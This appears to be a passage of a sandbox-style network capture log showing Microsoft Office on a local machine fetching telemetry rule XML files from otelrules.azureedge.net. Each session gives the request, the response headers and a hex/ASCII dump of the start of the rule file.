2024-12-02 06:37:50 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:50 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 64c010c7-b01e-003e-2ea1-428e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063750Z-174f7845968cdxdrhC1EWRg0en000000140g0000000067rq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:50 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:50 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:51 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:50 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 4f55dbf3-401e-005b-2250-439c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063750Z-174f7845968pf68xhC1EWRr4h8000000148g000000008pwg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:51 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:50 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:51 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:51 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 8c2ab7fe-e01e-0003-5b91-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063751Z-174f7845968kdththC1EWRzvxn0000000gg0000000001en2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:51 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:52 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:53 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:52 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: b5b05efe-701e-0001-4ea6-43b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063752Z-174f7845968pf68xhC1EWRr4h8000000146g00000000d4mc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:53 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:52 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:52 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 4fade03f-801e-007b-1115-41e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063752Z-174f78459684bddphC1EWRbht400000013vg000000002khm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:53 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:52 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:52 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 77084b97-401e-0015-43af-420e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063752Z-174f78459684db9fhC1EWRc7g40000000420000000006k0h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:53 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:52 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:53 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:53 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: db283756-601e-0070-61b4-43a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063753Z-174f7845968cpnpfhC1EWR3afc00000013q0000000005u4u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 06:37:53 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:53 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:53 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:53 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: b8dd1d48-d01e-005a-01dc-437fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063753Z-174f7845968vqt9xhC1EWRgten0000001420000000008bv3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:53 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:54 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:55 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:55 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: a7f5da2f-b01e-0070-7a69-431cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063755Z-174f784596886s2bhC1EWR743w000000141g000000009s6t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 06:37:55 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:54 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:55 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:55 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: af2f76df-f01e-0096-4850-4110ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063755Z-174f78459684bddphC1EWRbht400000013s0000000009u27 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:55 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:55 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:55 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:55 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d2df421c-b01e-0021-5593-43cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063755Z-174f78459685m244hC1EWRgp2c000000140g0000000001tx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:55 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:55 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:55 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:55 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 4793f8bc-701e-0053-5872-433a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063755Z-174f7845968nxc96hC1EWRspw800000013u000000000553h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:55 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49832	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
